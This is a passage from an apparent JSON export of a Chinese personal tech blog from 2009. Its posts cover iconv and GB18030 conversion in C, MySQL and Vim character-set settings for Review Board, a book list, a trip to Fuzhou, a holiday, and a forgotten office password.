**，但实则不然，这也是C语言的一个陷阱。以in为例，in本身就是栈上那个数组的首地址，\u0026amp;in的含义与in相同，同样是数组的首地址，所以\u0026amp;in = in，也就是说实际上传给iconv的是一个char*而不是char**，iconv在内部对一个char*执行*操作，并以为这是一个地址，显然会导致内存错误。\n修改一下代码：\nchar *p_in = in;\nchar *p_out = out;\nif (iconv(cd, \u0026amp;p_in, \u0026amp;inlen, \u0026amp;p_out, \u0026amp;outlen) \u0026lt; 0) {\nprintf(\u0026ldquo;iconv failed!\\n\u0026rdquo;);\niconv_close(cd);\nreturn -1;\n}\np_in变量在栈上分配，其本身的地址是\u0026amp;p_in，其值指向in这个数组的首地址，这样将\u0026amp;p_in传给iconv就万无一失了。\n再编译执行，我们就得到了正确结果：\nout = 赟\nunix上有很多iconv实现，由于版本不同可能支持的字符集范围不同，所以为了保证代码行为一致，你可下载最新iconv包，并生成静态库(./configure –enable-static=yes)，并让你的代码链接静态库。\n午饭时从电视中得知：中国航天之父钱学森今天上午在北京离世。钱老可谓是中国科学家的楷模，对钱老的离世感到甚为惋惜。这里也道一句：“钱老，一路走好！”\n","permalink":"https://tonybai.com/2009/10/31/internal-code-transform-by-iconv/","summary":"\u003cp\u003e前不久某南方省份的客户反馈说我们的产品对某些生僻字(如“赟”)的\u003ca href=\"http://tonybai.com/2007/11/03/also-talk-about-char-encoding/\"\u003e转码\u003c/a\u003e支持的不好，终端收到后无法显示这个字。\u003c/p\u003e\n\u003cp\u003e经分析，发现类似“赟”这样的字在GB2312编码标准中并未收录，要想支持这样的生僻字的内码转换需要产品支持目前最新的中文编码标准GB18030。而我们的产品在诞生到现在就一直只支持GB2312，这就是导致这一问题的直接原因。\u003c/p\u003e","title":"使用iconv做内码转换"},{"content":"十月以来，自已通过网购或换购还真收了不少书，这里说说：\n国内关于伟大领袖毛主席的传记实在让我无法提起兴致，但哈佛大学教授Ross Terrill的《毛泽东传》我早在其出版时就关注过，它可以让我弄清楚毛主席在一个西方人眼中的事实形象。昨天偶然发现该书在卓越网的卖价居然比其他网店（诸如当当网）便宜近十元，这个“便宜”怎能不捡^_^，遂在昨天下了订单。今天再一看卓越的定价居然涨到了35.8元，涨了仅5元，不过还是比其他网店要便宜。\n说到传记，就不能不提到最近卖的很火一本传记书-前Google中国区负责人李开复的新书 《世界因你不同 李开复自传》。以前读过李开复的《做最好的自己》，感觉很不错，所以这次也这本新书列入了购物车中。同时我也的确想通过李开复的书或多或少的去了解一下像微软、Google这样的大公司的一些运作“内幕\u0026quot;^_^。\n今天在中国移动积分商场看到一套丛书套装《世界艺术瑰宝》很是动心，遂让同事先帮忙用2170积分换购下来（我的积分还差100多）。丛书共六册，均为全彩印刷，主要留作日后陶冶艺术情操、提升品位、家庭教育和旅游规划之用。\n“灵修”二字我也是第一次遇到，十月初网购的一本名为《新世界 灵性的觉醒》就是此类书籍。书的作者在西方很有名，同时也是一个怪人。书还没开始看（还未做好心理准备^_^），初略翻阅了一下，觉得有些难度，或多或少的会折腾一下你的大脑神经的。\n《怪诞心理学》和《思维风暴》与“新世界”一书一起到手，前者是为了尝试了解一些大众心理学的内容，花了两个等晚点航班的时间段就翻阅完了；后者则纯粹为了让自己的大脑保持活跃的。\n现在已是深秋近初冬季节，在暖气未供给之前，北方的屋内也都是冷冷的、湿湿的。捂在暖暖的被窝儿中看书那是何等的快哉。捧在我手中的这本《世界是平的》 自从07年从书刊批发市场买回后只看了一半，现在正以每天一章的速度阅读着，估计这周就能欣赏完这部三年前的名作了。如果再不快看，里面的一些观点可能就要过时了^_^。\n","permalink":"https://tonybai.com/2009/10/28/booklist-2009-10-28/","summary":"\u003cp\u003e十月以来，自已通过\u003ca href=\"http://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/\"\u003e网购\u003c/a\u003e或换购还真收了不少书，这里说说：\u003c/p\u003e\n\u003cp\u003e国内关于伟大领袖毛主席的传记实在让我无法提起兴致，但哈佛大学教授Ross Terrill的《\u003ca href=\"http://www.douban.com/subject/1485628/\"\u003e毛泽东传\u003c/a\u003e》我早在其出版时就关注过，它可以让我弄清楚毛主席在一个西方人眼中的事实形象。昨天偶然发现该书在\u003ca href=\"http://www.amazon.cn/\"\u003e卓越网\u003c/a\u003e的卖价居然比其他网店（诸如\u003ca href=\"http://www.dangdang.com/\"\u003e当当网\u003c/a\u003e）便宜近十元，这个“便宜”怎能不捡^_^，遂在昨天下了订单。今天再一看卓越的定价居然涨到了35.8元，涨了仅5元，不过还是比其他网店要便宜。\u003c/p\u003e\n\u003cp\u003e说到传记，就不能不提到最近卖的很火一本传记书-前Google中国区负责人李开复的新书 《\u003ca href=\"http://www.douban.com/subject/4010196/\"\u003e世界因你不同 李开复自传\u003c/a\u003e》。以前读过李开复的《\u003ca href=\"http://www.douban.com/subject/1427679/\"\u003e做最好的自己\u003c/a\u003e》，感觉很不错，所以这次也这本新书列入了购物车中。同时我也的确想通过李开复的书或多或少的去了解一下像微软、Google这样的大公司的一些运作“内幕\u0026quot;^_^。\u003c/p\u003e","title":"说书单2009.10.28"},{"content":"应客户之邀，本周一到福州做业务需求调研，周三返回沈阳。\n以前从未去过榕城福州，领导下达调研任务时已是上周五。时间比较仓促，而且要求周一上午务必到达福州，因为客户方领导都较忙，也只有在周一才有机会见到客户领导。\n安抚了LP后，周日下午我背上本子，带了几件随身衣物，就匆忙赶往机场。从沈阳出发到福州的航班都是有经停的，而且多是厦航、川航这样的小航空公司。为了能多陪LP一会儿，我选择了起飞较晚的航班，计划晚上22点到达福州。但是人算不如天算，航班晚点，周一凌晨1点才抵达福州长乐机场。在机场等飞机那是何等的煎熬，还好我随身带了一本《怪诞心理学》可以帮我打发时间。\n此时的北方已进入深秋，夜晚温度近零度，但榕城却仍旧是一片温暖和煦，下飞机时机场地面温度依然有20多摄氏度。福州长乐机场距离市区较远，估计是我到过的城市里机场离市区最远的了。乘机场大巴用了将近一个多小时才到达终点（阿波罗大酒店）。打车到达闽江饭店Checkin时已是凌晨2点半了。走进房间后竟全无睡意，但想到白天还要到客户那开会，还是强迫自己入睡。\n早上七点醒来，头有些痛，显然这短暂的睡眠还不能缓解我身体的疲劳。酒店提供早餐，早餐品种还算丰富，就是味道清淡了些，让我这个习惯了浓重口味的北方人有些不适^_^。和当地办事处的同事约好时间，上午做内部讨论，下午再去见客户。上午9点走出酒店，第一次清晰的看到榕城的闹市景象。和大多数省会城市一样，高楼大厦，繁忙喧嚣。瞥了一眼马路上的情况，看得出福州堵车也很严重^_^。既然福州号称榕城，那自然少不了榕树，我是不认识榕树的，但是猜也猜得出，大街两旁矗立的那些枝叶繁茂、树冠巨大的树肯定就是榕树了。\n和北方相比，这里简直就是夏天，大街上男女老幼均是半袖裙子打扮，我也“入乡随俗”，脱去了厚重的外套，穿上了半袖衬衫。公司的办事处离酒店很近，走路也就5分钟，工作内容这里就不多说了。中午办事处领导在港式茶餐厅请客，这也算是入榕城后的第一顿饭了，遗憾的是少了些许本地菜的特色。席间听同事谈福州的房价，才知道福州房价要比沈阳高出一倍多，均价估计要上万，这在国内省会级城市里也算是排在前列的了。\n下午见客户，途中路过闽江，江不宽，但却不失忙碌，闽江两旁码头林立，闽江中央船只往复。很想驻足欣赏，但无奈有公务在身^_^。\n从客户那开完会出来已是华灯初上。同事带我去了一家当地特色的饭店吃了一顿牛排，这个牛排不是西餐中的那种烤牛肉，而是原生的牛排骨，一碗鲜美的汤中泡着两块包裹着厚实牛肉的牛排骨。以前从未这么吃过牛肉，这还是第一次，据同事介绍这家店里的牛肉是正宗的当地“达道牛肉”，肉质的确很嫩。\n我有一个喜好，就是每到一地必到当地的博物馆，但是这次估计是真的没有时间了，因为周二有很多资料要准备，索性就在酒店里闷了一天。晚上出来随意到了一家小店吃了一口，然后在酒店附近转了转。福州的街道环境卫生一般，马路上街道旁可见随意丢弃的废物，很多国内城市（包括沈阳）也是这个样子。福州的电动自行车很多，起码比沈阳要多，每到饭点儿，在各家饭店门口你会看到一排排的电动车。福州的物价倒是不低，在超市里逛了逛发现无论是菜价还是水果价格都不在沈阳之下，甚至一些南方水果的价格也不低。\n周三上午到客户现场与客户再次开会，就周一会上的一些问题和需求做应答。下午一点坐大巴赶往机场，三点的厦行航班居然又晚点了近一个小时。更可气的是经停南京时由于航空管制，竟坐在飞机上等了近一个多小时。回到家里已经是晚上10点多了。一进门，LP正坐在沙发上等我吃晚饭呢，那时那刻，心里美滋滋的。这两天发现自己的脸摸起来很顺滑儿，估计用福州的水的功劳，福州的水水质较软。\n之前一直认为福州是个内陆临江城市，但是今天看了Google地图才发现原来福州机场东测就是大海。这次榕城行真是太匆忙了，甚至没有留下一张照片，下次有机会有时间一定细致“挖掘”一下福州。\n有些像流水帐^_^。\n","permalink":"https://tonybai.com/2009/10/24/a-trip-to-fuzhou/","summary":"\u003cp\u003e应客户之邀，本周一到福州做业务需求调研，周三返回沈阳。\u003c/p\u003e\n\u003cp\u003e以前从未去过榕城福州，领导下达调研任务时已是上周五。时间比较仓促，而且要求周一上午务必到达福州，因为客户方领导都较忙，也只有在周一才有机会见到客户领导。\u003c/p\u003e","title":"榕城走一回"},{"content":"Review Board安装成功至今已半月有余，这期间我一直在试用它，虽欣喜于其提供的强大的功能，但还是有若干使用中的问题一直让我头痛不已，同时也阻碍了在部门推广该工具的进程。\n首当其冲的就是对中文的支持问题。按照默认的步骤安装和配置后，\n输入和保存英文均没有问题，但是一旦输入中文，保存后页面显示的都是乱码，甚至某些时候在保存中文数据时Review Board还提示错误。我的\nUbuntu的locale是\u0026quot;zh_CN.UTF-8\u0026quot;，输入法输入后的中文内码应该是UTF-8。Review Board本身按理来说其内核也应该是\n内置支持的UTF-8编码的，问题出在哪呢？答案是MySQL。\n在命令行模式进入MySQL，敲入status命令:\nServer characterset: latin1\nDb characterset: latin1\nClient characterset: latin1\nConn. characterset: latin1\n我\n们看到MySQL当前的四大字符集默认都是latin1，而创建reviewboard数据库时使用的语句又没有指定编码，这样一来\nreviewboard数据库和其中表的编码应该都是按照MySQL默认字符集编码(即latin1)创建的，这应该就是中文乱码的根源吧。\n修改MySQL默认字符集的方法很简单，先停止MySQL Server(sudo /etc/init.d/mysql\nstop)，之后打开/etc/mysql/my.cnf，分别在[client]和[mysqld]两个section下，增加一个key-value\npair: default-character-set = utf8，保存后退出。启动MySQL(sudo /etc/init.d/mysql\nstart)，用status命令查看，你会看到所有characterset都已经变成了utf-8:\nServer characterset: utf8\nDb characterset: utf8\nClient characterset: utf8\nConn. characterset: utf8\n但是这个设置对已经创建完的reviewboard数据库和相关表不会起作用。由于对MySQL不甚熟悉，所以没有尝试去转数据库和表的编码，而是尝试重新创建一套库。这次在创建库的时候为了以防万一，我加上了显式的字符集编码要求。\nmysql\u0026gt; create database reviewboard_utf8 default charset utf8 collate utf8_general_ci;\nmysql\u0026gt;\ngrant all on reviewboard_utf8.* to \u0026lsquo;reviewboard\u0026rsquo;@\u0026rsquo;localhost\u0026rsquo;; /*\n前一个reviewboard_utf8是新建的数据库的名字，后一个reviewboard则是之前创建的访问数据库的用户名 */\nQuery OK, 0 rows affected (0.00 sec)\nmysql\u0026gt; exit\n数据库reviewboard_utf8默认是utf8编码，则系统默认其中创建的表也都是utf8编码。下面的问题就是如何将ReviewBoard与新库reviewboard_utf8连接起来的问题了。以下步骤供参考:\n1、sudo vi /var/www/reviewboard/conf/settings_local.py，修改其中的DATABASE_NAME为reviewboard_utf8;\n2、sudo rb-site upgrade /var/www/reviewboard，这个步骤中rb-site会在新库reviewboard_utf8中重新创建ReviewBoard需要的各个表\n3、重启apache2 server，sudo /etc/init.d/apache2 restart\n当\n你再次打开ReviewBoard的首页面时，你会发现一切从头开始了。上面的\u0026quot;换库\u0026quot;操作中，rb-site只是创建了新表，表里并未有任何数据，这与\n首次安装ReviewBoard时rb-site帮你创建了一个超级用户是不同的。所以我们这里需要手动做这件事。首先通过页面Register一个帐\n户，比如就叫做admin吧。创建后用admin帐户登入，你会发现页面右上方的缺少了\u0026rsquo;Admin\u0026rsquo;这个链接选项，你无法通过\u0026rsquo;admin\u0026rsquo;用户对\nReviewBoard进行设置，也无法设置用户的权限。这里就需要在数据库中作些手脚了:\nmysql\u0026gt; use reviewboard_utf8;\nmysql\u0026gt; update auth_user set is_staff = 1 where username = \u0026lsquo;admin\u0026rsquo;;\n这里is_staff的值决定该用户是否有权限对ReviewBoard站点进行设置。你再刷新一下页面，就会发现右上方出现了一个‘Admin\u0026rsquo;的链接了。做了上面的工作后，我们尝试在各个页面输入中文并保存，这次中文保存和显示都变得正常了。\n在使用ReviewBoard过程中的第二个\u0026quot;问题\u0026quot;其实严格来说是我们自己的问题。我们已有的代码都是在Unix\nGBK环境下开发的，所有源代码文件都是以GBK编码格式存储的。这样一来一旦你提交了这些源文件的diff，在ReviewBoard中\u0026rsquo;View\nDiff\u0026rsquo;时看到的中文全是乱码，更严重的是某些时候ReviewBoard显示的代码差异的位置与真实代码修改的位置不符。比如我在第1000行\n增加了一行: i += 1; 提交diff后，ReviewBoard显示的第1000行根本不是i +=\n1这行代码，而是之前的若干行甚至是十几行、几十行。我怀疑是我们源代码文件的GBK编码导致ReviewBoard判断出现了错误。我尝试将源码重新以\nUTF-8格式保存了一下，并重复上面的修改，提交diff，这回ReviewBoard的View\nDiff则完全正确，源码文件中的中文注释显示的也很正常。\n再有一点就是Review Board的Mail通知设置问题，公司采用SSL\n加密mail，ReviewBoard仅支持TSL，在网上查了一下这两个协议应该是可以兼容的，但是设置后就是无法将mail发送出去。突然想起来公司\n似乎还发布了一个数字证书 for mail\nclient端使用，也许可能是这个原因导致Review Board无法发送Mail，还待继续研究^_^。\n","permalink":"https://tonybai.com/2009/10/05/chinese-support-for-review-board/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2009/09/19/review-board-installation-and-configuration/\" title=\"ReviewBoard安装\"\u003eReview Board安装\u003c/a\u003e成功至今已半月有余，这期间我一直在试用它，虽欣喜于其提供的强大的功能，但还是有若干使用中的问题一直让我头痛不已，同时也阻碍了在部门推广该工具的进程。\u003c/p\u003e","title":"Review Board中文支持"},{"content":"以往每逢重要节假日，我一般都会回到老家看望父母和亲戚朋友。不过这个十一因工作和其他一些原因，我决定不回家了。八天长假确也不短，事先也做了一些计划和准备。\n这个十一是祖国六十周年的生日，国家将举行盛大的庆典，所以十月一日这天我和LP选择在家里守在电视旁，看庆典、看阅兵、看游行。自从1999年第一次看国庆庆典以来，一晃已是十年，不禁感叹一下时光荏苒、岁月如梭啊。中国已经有了多次组织大型庆典活动的经验了，本次六十周年庆典组织的也很井井有条。细数一下庆典中让我格外激动和感动的场景：当五星红旗冉冉升起、全体高唱国歌的时候；当国旗护卫队第一个通过天安门前的时候；当阅兵空中梯队飞临广场上空的时候；当毛主席和邓小平的声音再次响彻天安门广场的时候；当5000名少年儿童放飞手中气球、呼喊跳跃地奔向天安门城楼的时候。当然庆典也不是没有瑕疵的，如果非要鸡蛋里挑骨头的话，那我觉得CCTV导播的镜头切换技术显然还不够成熟，还有待提高啊。\n十月二日也就是今天是个好天气，沈城秋高气爽，温度适中。我和LP本来的计划是这样的：先到辽宁省博物馆看展览，再到市府广场休闲，下午陪LP到长安寺，最后进电影院看”建国大业“。\n大约10点钟到了辽博正门，发现这里排了近50米的长队，节日里市民到博物馆游览的热情如此之高是我们始料不及的，无奈我们也只能放弃今天游省博的计划了。旁边的市府广场倒是一派热闹的景象。放眼望去，家长带孩子来这里休闲的居多，广场上熙熙攘攘、欢笑声此起彼伏。我也拿起相机将这里和谐的景象收录了下来，这里展示一部分出来：\n广场五星红旗主题景观\n“我也要放风筝”\n“宝贝，抬头看镜头”\n到长安寺纯属LP意愿，这里就不细说了。出寺后，我们直奔电影院。以前我是很少去电影院看国产影片的，近一两年来有所改观，但与国外影片相比，国产影片始终无法激起我到电影院观影的热情。这次是LP非要看”建国大业”。这部国庆六十周年献礼影片在公映前是做足了宣传，其实这部影片的献礼性质+百位三地明星的出镜就足以吸引广大老百姓的眼球了。两个多小时下来，有两点主要感受：一是影片中将领袖演绎的更接近普通人；二是影片的确尊重历史的真实展现和还原，这点从政治协商会议上毛主席讲话那段就可以看出来，那组镜头中唐国强的表演就是在真实还原当年毛主席的讲话神态和肢体语言。总体来说，如果有条件的话，还是推荐在十一期间到影院去看看这部片子的，就算是对那段历史的重温了，也缅怀一下那些为新中国建立做出巨大贡献的革命志士们。\n","permalink":"https://tonybai.com/2009/10/02/not-visit-parents-during-this-golden-vacation/","summary":"\u003cp\u003e以往每逢重要节假日，我一般都会回到老家看望父母和亲戚朋友。不过这个十一因工作和其他一些原因，我决定不回家了。八天长假确也不短，事先也做了一些计划和准备。\u003c/p\u003e","title":"这个十一没回家"},{"content":"安装完中文语言包支持后，Ubuntu的默认locale是zh_CN.UTF-8(即简体中文语言环境，字符集内码UTF-8)。这与我们日常开发环境中Unix设定的环境有所区别，我们日常使用的环境一般为zh_CN.GBK或zh。我们的源代码文件的字符编码也都是GBK的编码，直接在Ubuntu下用默认设置的VIM打开后，中文的注释会显示乱码。如果你直接编辑这个文件并提交，那么其他在Unix下开发的同事Checkout这份源码后打开也将显示乱码（你新增的中文内容会是乱码）。\n解决这个问题至少有两种方法：一种是为Ubuntu新增加一个zh_CN.GBK的locale的支持，内码使用GBK；另外一种就是通过设置VIM，在不变换Ubuntu所支持的locale(内码依旧是UTF-8)的情况下支持对GBK内码文件的读写。\n第一种方法简单说一下，总共分四步走：\n第一步：sudo vi /var/lib/locales/supported.d/local，该文件原始状态只有一行记录：zh_CN.UTF-8 UTF-8；为了增加zh_CN.GBK的locale，我们在这个文件尾添加一行：zh_CN.GBK GBK，保存退出。\n第二步：执行：sudo locale-gen，生成zh_CN.GBK对应的locale\n第三步：编辑：/etc/environment，在文件尾添加如下内容：\nLANGUAGE=\u0026ldquo;zh_CN:zh:en_US:en\u0026rdquo;\nLANG=zh_CN.GBK\nLC_CTYLE=zh_CN.GBK\nLC_ALL=\u0026ldquo;zh_CN.GBK\u0026rdquo;\n第四步：重启Ubuntu系统。重启后用VIM再打开以前GBK编码的源代码文件，就不再会有乱码了，而且默认情况下编辑文件采用的依然是GBK编码。不会影响他人在其他平台上读写文件。\n第二种方法是本文重点要谈的内容。即在zh_CN.UTF-8的环境下保证正确读写GBK编码的文件。问题主要集中在：如何读出并正确显示已有的特定字符编码的文件和如何按照特定字符编码写新文件。\n这里有两个数据文件：data1和data2，内容都是“祝祖国六十年生日快乐”，但是data1采用UTF-8编码，而data2采用GBK编码，可以用od -x查看文件实际存储数据是不同的。\nod -x data1\n0000000 a5e7 e79d 96a5 9be5 e5bd ad85 8de5 e581\n0000020 b4b9 94e7 e69f a597 bfe5 e4ab 90b9 000a\n0000037\nod -x data2\n0000000 a3d7 e6d7 fab9 f9c1 aeca eac4 fac9 d5c8\n0000020 ecbf d6c0 000a\n0000025\n在终端UTF-8编码，LC_ALL=zh_CN.UTF-8，VIM默认配置的前提下，尝试用VIM分别打开data1和data2，发现data1正常显示，data2显示乱码；为什么呢？这里VIM当打开一个已存在的文件时会有一系列的处理过程：\n用VIM打开一个已存在的文件时，VIM首先要查看fileencodings（或fencs）这个option。fileencodings是一系列字符编码格式的列表，例如：set fileencodings=GBK,UTF-8,gb18030,ucs-bom,cp936。这个option仅在打开一个已存在的文件时起作用。如果你没有在.vimrc中显式set这个option，那fileencodings的默认值是\u0026rsquo;ucs-bom,UTF-8,default,latin1\u0026rsquo;，其中default的值是用户环境的默认编码格式。\n当你打开一个已存在的文件时，VIM会用fileencodings值列表中的编码格式逐一去探测该文件的编码方式，直到两者匹配一致。探测成功后，VIM会用匹配到的编码格式去设置此文件session的fileencoding选项值。fileencoding选项指示该session的VIM BUFFER里的数据写入文件或从文件读出时文件中的数据的编码格式。同样该session中VIM BUFFER中数据的编码格式则由另外一个选项指示，那就是encoding option。这里有多个\u0026quot;encoding-like\u0026quot;字样的options，极易混淆。但实际上真正对VIM文件操作时数据显示和保存起作用的只有两个选项：fileencoding和encoding。而fileencodings只是在打开已有文件时用来探测并设置fileencoding字段的一个外围option。VIM的编码转换也是围绕fileencoding和encoding这两个options展开的。无论读写文件，当某个VIM session中fileencoding和encoding的值不一致时，VIM就会自动做编码转换。例如：当读取一个文件时，session的fileencoding为UTF-8，而encoding为GBK时，VIM将文件中的数据读出来后会自动做一个UTF-8到GBK的转换，并将转换后的数据存储在VIM针对该session的BUFFER里；同样当创建一个新文件时，如果该session的vim BUFFER中数据的编码格式(encoding指示)和fileencoding指示的文件编码格式不一致时，save file时，VIM会自动将BUFFER中的数据按照fileencoding指示的编码格式进行一次转换后再存入新文件中。\n每个option都有三种状态：显式设置、空(encoding除外)和默认值。其中显式设置是指在.vimrc或在session中利用set指令对选项进行赋值设置；空：比较特殊，表示该选项的值为empty；默认值则是未通过set在.vimrc或在session对选项进行赋值的状态。\nfileencodings为空时，即在.vimrc中set fileencodings=\u0026quot;\u0026quot;；VIM将无法进行文件编码探测，将直接根据fileenoding和encoding的值来确定文件编码和BUFFER编码以及是否需要自动做编码转换；当fileencodings不为空，但探测文件编码均告失败时，VIM会将该session的fileencoding置为空，之后将根据encoding的值来设置文件编码和VIM BUFFER编码。\nfileencoding的默认值就是空(\u0026quot;\u0026quot;)，打开已有文件时通过fileencodings来设置其值，新建文件时如果fileencoding为默认值或空，那么encoding将决定一切。其显式设置的值只有在新建文件的session中才会其作用。\nencoding是核心，是VIM session中BUFFER数据的编码，也可以理解为VIM核心的内码；VIM会根据它与fileencoding、termencoding(term的编码格式)的不同由VIM做自动转码。encoding默认值为$LANG。\n下面用一些例子来说明一下VIM的行为模式，测试环境Ubuntu 9.04, LANG=zh_CN.UTF-8, data1和data2如上所述。\n(1) 三个Option均采用默认值，没有在.vimrc下显式设置\n此时在vim session未建立之前，fileencodings的默认值为“ucs-bom,UTF-8,default,latin1”，fileencoding为空，encoding=UTF-8($LANG).打开data1，VIM通过fileencodings做探测，顺利匹配到UTF-8的编码格式，将fileencoding设置为UTF-8，此时encoding也为UTF-8，两者一致，VIM不做编码转换，屏幕正确显示“祝祖国六十年生日快乐”。打开data2，VIM通过fileencodings做探测，未能匹配到GBK的编码，将fileencoding置为空，encoding发挥作用，VIM不做任何编码转换，将GBK编码的数据以UTF-8格式显示，屏幕显示乱码。\n(2) fileencodings显式被设置为\u0026quot;UTF-8,GBK\u0026quot;，其他option采用默认值\n此时在vim session未建立之前，fileencodings的值为“UTF-8,GBK”，fileencoding为空，encoding=UTF-8($LANG).打开data1，VIM通过fileencodings做探测，顺利匹配到UTF-8的编码格式，将fileencoding设置为UTF-8，此时encoding也为UTF-8，两者一致，VIM不做编码转换，屏幕正确显示“祝祖国六十年生日快乐”。打开data2，VIM通过fileencodings做探测，顺利匹配到GBK的编码，将fileencoding置为GBK，此时encoding为UTF-8，两者不一致，VIM做自动编码转换，将GBK编码的数据转换为UTF-8格式后放入BUFFER并显示，屏幕正确显示“祝祖国六十年生日快乐”，VIM在状态条提示“已转换”。\n(3) fileencoding显式设置为\u0026quot;GBK\u0026quot;，encoding显式设置为“UTF-8”或采用默认值\n新建一个文件data3，输入：“祝祖国六十年生日快乐”，保存，此时fileencoding和encoding值不一致，VIM做自动编码转换，将BUFFER中的UTF-8编码的数据转换为GBK编码后存储到文件中，VIM状态栏提示“已转换”。退出VIM。od -x data3，输出的是GBK编码。\n","permalink":"https://tonybai.com/2009/09/28/also-talk-about-vim-charset-configuration/","summary":"\u003cp\u003e安装完中文语言包支持后，\u003ca href=\"http://tonybai.com/2008/02/23/many-complaints-about-ubuntu/\"\u003eUbuntu\u003c/a\u003e的默认locale是zh_CN.UTF-8(即简体中文语言环境，字符集内码UTF-8)。这与我们日常开发环境中Unix设定的环境有所区别，我们日常使用的环境一般为zh_CN.GBK或zh。我们的源代码文件的\u003ca href=\"http://tonybai.com/2007/11/03/also-talk-about-char-encoding/\"\u003e字符编码\u003c/a\u003e也都是GBK的编码，直接在Ubuntu下用默认设置的VIM打开后，中文的注释会显示乱码。如果你直接编辑这个文件并提交，那么其他在Unix下开发的同事Checkout这份源码后打开也将显示乱码（你新增的中文内容会是乱码）。\u003c/p\u003e\n\u003cp\u003e解决这个问题至少有两种方法：一种是为Ubuntu新增加一个zh_CN.GBK的locale的支持，内码使用GBK；另外一种就是通过设置\u003ca href=\"http://tonybai.com/2008/12/30/in-depth-study-vim/\"\u003eVIM\u003c/a\u003e，在不变换Ubuntu所支持的locale(内码依旧是UTF-8)的情况下支持对GBK内码文件的读写。\u003c/p\u003e","title":"也谈VIM字符集编码设置"},{"content":"继续昨天的情况道来。话说昨天因瞬时“失忆”，导致将公司办公账户的密码忘记了。这给工作带来的不便是我没有想到的。今天一上班就询问秘书密码重置的进度，得到的回复是已经发给公司HR并催促多次了。但是直到近中午也未曾收到密码重置的通知，耐不住性子的我终于决定亲自跟踪这件事，电话直接打到HR部门负责此事的专员那，结果无人接听，一连多次，估计是那个同事不在Office。遂直接拨打公司IT服务部门的电话，说明了情况，这个部门的态度倒是很好，帮我查了一下，并告知我昨天没有收到HR那边的邮件，并答应我，一旦收到邮件就会马上处理的。\n放下电话又想了想，觉得我不能就这么等下去，应该尝试一下找回自己的密码。虽然昨天瞬时“失忆”，但是自己的密码组成规则还是记得的。公司的密码起码的要求包括长度、大小写字母和特殊符号。记得当时我只是想换一下大写字母的位置，只是事后忘记了调整了哪两个字母。午饭过后，决定花一定时间尝试去“找回”自己的密码，工具吗，用Ruby+Watir。用Watir来操作IE，用穷举的方法来尝试各种密码组合，直到能正确登录的密码就是我想要的。Watir好久没有用了，而且也没有现成的包，还得重新安装，Ubuntu上安装Watir总是提示已存在的文件的gem格式不符，无奈回到Windows上安装。先用C代码生成了所有可能的密码组合，写到一个文件中，每行一个密码。然后在网上找到了Watir使用的例子，参考之完成了自己的脚本：打开公司内外首页，用文件中的密码逐一尝试，如果登录成功，则脚本执行结束。\n一杯咖啡功夫，脚本执行完了，不过出乎意料的是没有一个密码是正确的，这让我大为疑惑。30分钟后，Ubuntu上的iptux闪动，秘书将重置后的密码发了过来，我再一想估计是在我尝试“破解”之前IT服务部门的同事就已经将密码重置了，所以我穷举的那些密码也就都不正确了。\n现在我最想知道的就是到底我昨天更改后的密码是什么^_^。\n","permalink":"https://tonybai.com/2009/09/23/my-password-get-back/","summary":"\u003cp\u003e继续昨天的情况道来。话说昨天因\u003ca href=\"http://tonybai.com/2009/09/22/forget-the-password-of-mailbox/\"\u003e瞬时“失忆”\u003c/a\u003e，导致将公司办公账户的密码忘记了。这给工作带来的不便是我没有想到的。今天一上班就询问秘书密码重置的进度，得到的回复是已经发给公司HR并催促多次了。但是直到近中午也未曾收到密码重置的通知，耐不住性子的我终于决定亲自跟踪这件事，电话直接打到HR部门负责此事的专员那，结果无人接听，一连多次，估计是那个同事不在Office。遂直接拨打公司IT服务部门的电话，说明了情况，这个部门的态度倒是很好，帮我查了一下，并告知我昨天没有收到HR那边的邮件，并答应我，一旦收到邮件就会马上处理的。\u003c/p\u003e\n\u003cp\u003e放下电话又想了想，觉得我不能就这么等下去，应该尝试一下找回自己的密码。虽然昨天瞬时“失忆”，但是自己的密码组成规则还是记得的。公司的密码起码的要求包括长度、大小写字母和特殊符号。记得当时我只是想换一下大写字母的位置，只是事后忘记了调整了哪两个字母。午饭过后，决定花一定时间尝试去“找回”自己的密码，工具吗，用\u003ca href=\"http://tonybai.com/2005/01/05/learn-ruby/\"\u003eRuby\u003c/a\u003e+Watir。用Watir来操作\u003ca href=\"http://tonybai.com/2009/03/23/terrible-experience-on-ie8/\"\u003eIE\u003c/a\u003e，用穷举的方法来尝试各种密码组合，直到能正确登录的密码就是我想要的。Watir好久没有用了，而且也没有现成的包，还得重新安装，Ubuntu上安装Watir总是提示已存在的文件的gem格式不符，无奈回到Windows上安装。先用C代码生成了所有可能的密码组合，写到一个文件中，每行一个密码。然后在网上找到了Watir使用的例子，参考之完成了自己的脚本：打开公司内外首页，用文件中的密码逐一尝试，如果登录成功，则脚本执行结束。\u003c/p\u003e","title":"“找回”自己的密码"},{"content":"密码这东西在信息化的今天真是很重要，估计大家一张口就能说出5个以上使用密码的地方：登录网银、上淘宝、上亚马逊购书、写博客、登录Gmail等等。平时在公司，我的mail就是我的ID，公司所有内部网络服务都需要使用这个ID登录，甚至包括内部无线网络也是如此，所以在公司办公，内部mail账户和密码很重要。\n公司为了加强信息安全管理，要求每位员工的密码都要符合SOX规范，而且要每隔若干个月就要对密码做一次修改，更有甚者公司内网首页居然做了强制密码修改的校验，如果你超出规定时间没有修改密码，那么当你登录公司内网时就必须修改密码，否则就无法登入。\n今天就因为这个让我“损失”大了。符合SOX规范的密码较长也比较难记，所以大家也都总偷懒，很少去改密码。今天为了到内网去下载一个文档，不得不被强制修改密码。修改密码时有些三心二意了，改完后，突然感觉“瞬时”失忆了似的，刚才的新密码就是想不起来了，试了十几次，仍然无法想起正确的密码。这下可惨了，一分钟后，无线网络断了、outlook和thunderbird相继弹出输入密码对话框、Firefox也弹出了输入代理密码的对话框。无奈只能向秘书“求救”，后被告知重置密码还真不那么简单，先要秘书发mail给人力，人力再发mail给公司网络管理部门，之后如何处理还不得而知了。不过公司的办事效率也真不怎么高，到现在为止我仍然没能恢复我的密码，真是耽误事啊。一天了都没能收到mail，中间有几封重要的客户mail也没能及时回复。\n悔啊！\n","permalink":"https://tonybai.com/2009/09/22/forget-the-password-of-mailbox/","summary":"\u003cp\u003e密码这东西在信息化的今天真是很重要，估计大家一张口就能说出5个以上使用密码的地方：登录网银、上淘宝、上亚马逊购书、写博客、登录Gmail等等。平时在公司，我的mail就是我的ID，公司所有内部网络服务都需要使用这个ID登录，甚至包括内部无线网络也是如此，所以在公司办公，内部mail账户和密码很重要。\u003c/